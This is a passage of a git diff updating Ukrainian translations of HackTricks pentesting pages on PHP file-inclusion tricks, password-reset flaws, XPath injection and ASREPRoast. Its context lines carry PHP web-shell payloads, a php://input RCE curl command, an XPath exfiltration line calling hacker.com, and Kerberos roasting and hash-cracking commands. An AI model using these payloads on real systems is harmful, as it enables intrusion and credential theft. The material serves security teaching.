Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
|
||||
|
@ -316,13 +316,13 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
* Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**.
|
||||
* Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
|
||||
* Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
|
||||
* Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
|
||||
* Використовуючи інші перетворення, такі як **rot13** на початку, можливо витягнути інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
* Коли початковий символ є числом, потрібно закодувати його в base64 і витягнути 2 перші літери, щоб витягнути число.
|
||||
* Остаточна проблема полягає в тому, **як витягти більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
* І для того, щоб отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **опорним з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
* Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
|
||||
* Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
* Коли початковий символ є числом, потрібно закодувати його в base64 і витікати перші 2 літери, щоб витікати число.
|
||||
* Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри пам'яті порядку, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
* І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **опорним з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
|
||||
У пості також була витікнута інструмент для автоматичного виконання цього: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
У пості також був витікнутий інструмент для автоматичного виконання цього: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
|
@ -331,7 +331,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 та 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **дескрипторів файлів 0, 1 та 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
|
||||
### zip:// та rar://
|
||||
|
||||
|
@ -378,7 +378,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
Файл `.phar` може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як `include` для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу `.phar`:
|
||||
Файл `.phar` може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -395,7 +395,7 @@ Upon execution, a file named `test.phar` will be created, which could potentiall
|
|||
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації в контексті `.phar` файлів, зверніться до документа, що наведений нижче:
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
@ -405,9 +405,9 @@ Upon execution, a file named `test.phar` will be created, which could potentiall
|
|||
|
||||
### CVE-2024-2961
|
||||
|
||||
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних частин** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хук для виклику **`system`**.\
|
||||
Було можливим виділяти частини специфічних розмірів, зловживаючи більше php фільтрами.
|
||||
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує фільтри php**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних частин** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хуки для виклику **`system`**.\
|
||||
Було можливим виділяти частини специфічних розмірів, зловживаючи більше фільтрів php.
|
||||
|
||||
### More protocols
|
||||
|
||||
|
@ -419,14 +419,14 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
|
|||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Захищений Shell 2
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) ризики в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи переходу по каталогах, такі як "..", перевіряються, але не очищуються належним чином.
|
||||
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином.
|
||||
|
||||
Наприклад, PHP код може бути спроектований для запобігання переходу по каталогах таким чином:
|
||||
Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
|
@ -440,7 +440,7 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
```
|
||||
Важливо **URL-кодувати ці payloads**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -479,15 +479,15 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
|
||||
### Через файл журналу Apache/Nginx
|
||||
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>** і включити цей файл
|
||||
Якщо сервер Apache або Nginx є **вразливим до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши всередині **user agent** або всередині **GET параметра** php shell, як **`<?php system($_GET['c']); ?>`** і включити цей файл
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
|
||||
|
||||
Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другого шансу.
|
||||
Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
{% endhint %}
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Інші можливі шляхи до журналів:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -504,12 +504,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Via Email
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шляхом, як **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Завантажте багато shell'ів (наприклад: 100)
|
||||
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
|
||||
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - дескриптор файлу (також можна перебрати)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
|
@ -565,7 +565,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Як показано в [цьому](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, яке закінчується на ".php", воно просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
Як показано в [цьому](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) артикулі, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -613,7 +613,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Як [**пояснено в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
|
||||
Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
|
||||
|
||||
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
|
||||
|
||||
|
@ -670,9 +670,9 @@ _Навіть якщо ви викликаєте PHP Фатальну Помил
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
|
@ -681,7 +681,7 @@ _Навіть якщо ви викликаєте PHP Фатальну Помил
|
|||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Будьте в курсі нових програм винагород за баги та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -51,7 +51,7 @@
|
|||
* **Посилання**:
|
||||
* [Стаття Acunetix про отруєння скидання пароля](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Скидання пароля шляхом маніпуляції параметром електронної пошти**
|
||||
## **Скидання пароля шляхом маніпулювання параметром електронної пошти**
|
||||
|
||||
Зловмисники можуть маніпулювати запитом на скидання пароля, додаючи додаткові параметри електронної пошти, щоб відвести посилання для скидання.
|
||||
|
||||
|
@ -121,17 +121,17 @@ POST /api/changepass
|
|||
|
||||
## **Відсутність обмеження швидкості: Email бомбардування**
|
||||
|
||||
* Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, переповнюючи користувача електронними листами для скидання.
|
||||
* Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, перевантажуючи користувача електронними листами для скидання.
|
||||
* **Кроки пом'якшення**:
|
||||
* Реалізуйте обмеження швидкості на основі IP-адреси або облікового запису користувача.
|
||||
* Використовуйте CAPTCHA для запобігання автоматизованому зловживанню.
|
||||
* **Посилання**:
|
||||
* [HackerOne Звіт 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Визначте, як генерується токен для скидання пароля**
|
||||
## **Визначте, як генерується токен скидання пароля**
|
||||
|
||||
* Розуміння шаблону або методу генерації токенів може призвести до прогнозування або брутфорсингу токенів. Деякі варіанти:
|
||||
* На основі часу
|
||||
* На основі мітки часу
|
||||
* На основі UserID
|
||||
* На основі електронної пошти користувача
|
||||
* На основі імені та прізвища
|
||||
|
@ -169,7 +169,7 @@ POST /api/changepass
|
|||
* **Кроки пом'якшення**:
|
||||
* Реалізуйте суворі політики закінчення терміну дії токенів і перевіряйте термін дії токенів на стороні сервера.
|
||||
|
||||
## **Брутфорс токена для скидання пароля**
|
||||
## **Брутфорс токена скидання пароля**
|
||||
|
||||
* Спроба брутфорсити токен скидання, використовуючи інструменти, такі як Burpsuite та IP-Rotator, щоб обійти обмеження швидкості на основі IP.
|
||||
* **Кроки пом'якшення**:
|
||||
|
@ -198,7 +198,7 @@ POST /api/changepass
|
|||
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за помилками!
|
||||
|
||||
|
@ -222,7 +222,7 @@ POST /api/changepass
|
|||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте за нами в** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,15 +32,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Basic Syntax
|
||||
|
||||
Техніка атаки, відома як XPath Injection, використовується для використання додатків, які формують запити XPath (XML Path Language) на основі введення користувача для запиту або навігації по XML-документах.
|
||||
Атакувальна техніка, відома як XPath Injection, використовується для використання додатків, які формують XPath (XML Path Language) запити на основі введення користувача для запиту або навігації по XML документам.
|
||||
|
||||
### Nodes Described
|
||||
|
||||
Вирази використовуються для вибору різних вузлів у XML-документі. Ці вирази та їхні описи підсумовані нижче:
|
||||
Вирази використовуються для вибору різних вузлів у XML документі. Ці вирази та їхні описи підсумовані нижче:
|
||||
|
||||
* **nodename**: Вибираються всі вузли з ім'ям "nodename".
|
||||
* **/**: Вибір здійснюється з кореневого вузла.
|
||||
* **//**: Вибираються вузли, що відповідають вибору з поточного вузла, незалежно від їхнього місцезнаходження в документі.
|
||||
* **//**: Вибираються вузли, що відповідають вибору з поточного вузла, незалежно від їхнього розташування в документі.
|
||||
* **.**: Вибирається поточний вузол.
|
||||
* **..**: Вибирається батьківський вузол поточного вузла.
|
||||
* **@**: Вибираються атрибути.
|
||||
|
@ -52,7 +52,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
* **bookstore**: Вибираються всі вузли з ім'ям "bookstore".
|
||||
* **/bookstore**: Вибирається кореневий елемент bookstore. Зазначається, що абсолютний шлях до елемента представлений шляхом, що починається зі слешу (/).
|
||||
* **bookstore/book**: Вибираються всі елементи book, які є дітьми bookstore.
|
||||
* **//book**: Вибираються всі елементи book у документі, незалежно від їхнього місцезнаходження.
|
||||
* **//book**: Вибираються всі елементи book у документі, незалежно від їхнього розташування.
|
||||
* **bookstore//book**: Вибираються всі елементи book, які є нащадками елемента bookstore, незалежно від їхнього положення під елементом bookstore.
|
||||
* **//@lang**: Вибираються всі атрибути з ім'ям lang.
|
||||
|
||||
|
@ -188,7 +188,7 @@ Select the account using the username and use one of the previous values in the
|
|||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
### **Подвійний OR у імені користувача або в паролі** (діє лише з 1 вразливим полем)
|
||||
### **Подвійний OR у імені користувача або у паролі** (діє лише з 1 вразливим полем)
|
||||
|
||||
ВАЖЛИВО: Зверніть увагу, що **"and" є першою операцією, що виконується**.
|
||||
```
|
||||
|
@ -294,18 +294,18 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Новини з хакінгу в реальному часі**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
**Новини про хакінг в реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
|
@ -319,7 +319,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться трюками хакінгу, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## ASREPRoast
|
||||
|
||||
ASREPRoast — це атака безпеки, яка експлуатує користувачів, які не мають **атрибута, що вимагає попередньої аутентифікації Kerberos**. По суті, ця вразливість дозволяє зловмисникам запитувати аутентифікацію для користувача у Контролера домену (DC) без необхідності знати пароль користувача. DC потім відповідає повідомленням, зашифрованим за допомогою ключа, отриманого з пароля користувача, який зловмисники можуть спробувати зламати офлайн, щоб дізнатися пароль користувача.
|
||||
ASREPRoast - це атака безпеки, яка експлуатує користувачів, які не мають **атрибута, що вимагає попередньої аутентифікації Kerberos**. По суті, ця вразливість дозволяє зловмисникам запитувати аутентифікацію для користувача у Контролера домену (DC) без необхідності знати пароль користувача. DC потім відповідає повідомленням, зашифрованим за допомогою ключа, отриманого з пароля користувача, який зловмисники можуть спробувати зламати офлайн, щоб дізнатися пароль користувача.
|
||||
|
||||
Основні вимоги для цієї атаки:
|
||||
|
||||
|
@ -40,7 +40,7 @@ ASREPRoast — це атака безпеки, яка експлуатує ко
|
|||
* **З'єднання з Контролером домену (DC)**: Зловмисники повинні мати доступ до DC, щоб надсилати запити та отримувати зашифровані повідомлення.
|
||||
* **Необліковий доменний акаунт**: Наявність доменного акаунта дозволяє зловмисникам більш ефективно ідентифікувати вразливих користувачів через LDAP-запити. Без такого акаунта зловмисники повинні вгадувати імена користувачів.
|
||||
|
||||
#### Перерахунок вразливих користувачів (потрібні доменні облікові дані)
|
||||
#### Перерахування вразливих користувачів (потрібні доменні облікові дані)
|
||||
|
||||
{% code title="Using Windows" %}
|
||||
```bash
|
||||
|
@ -76,7 +76,7 @@ Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github
|
|||
AS-REP Roasting з Rubeus згенерує 4768 з типом шифрування 0x17 та типом попередньої автентифікації 0.
|
||||
{% endhint %}
|
||||
|
||||
### Ломка
|
||||
### Ламання
|
||||
```bash
|
||||
john --wordlist=passwords_kerb.txt hashes.asreproast
|
||||
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||||
|
@ -100,7 +100,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
|
|||
## ASREProast без облікових даних
|
||||
|
||||
Зловмисник може використовувати позицію "людина посередині", щоб захопити пакети AS-REP під час їх проходження через мережу, не покладаючись на відключення попередньої автентифікації Kerberos. Тому це працює для всіх користувачів у VLAN.\
|
||||
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) дозволяє нам це зробити. Більше того, інструмент змушує робочі станції клієнтів використовувати RC4, змінюючи переговори Kerberos.
|
||||
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) дозволяє нам це зробити. Більше того, інструмент змушує клієнтські робочі станції використовувати RC4, змінюючи переговори Kerberos.
|
||||
```bash
|
||||
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
|
||||
ASRepCatcher relay -dc $DC_IP
|
||||
|
@ -117,7 +117,7 @@ ASRepCatcher listen
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -130,7 +130,7 @@ ASRepCatcher listen
|
|||
**Latest Announcements**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
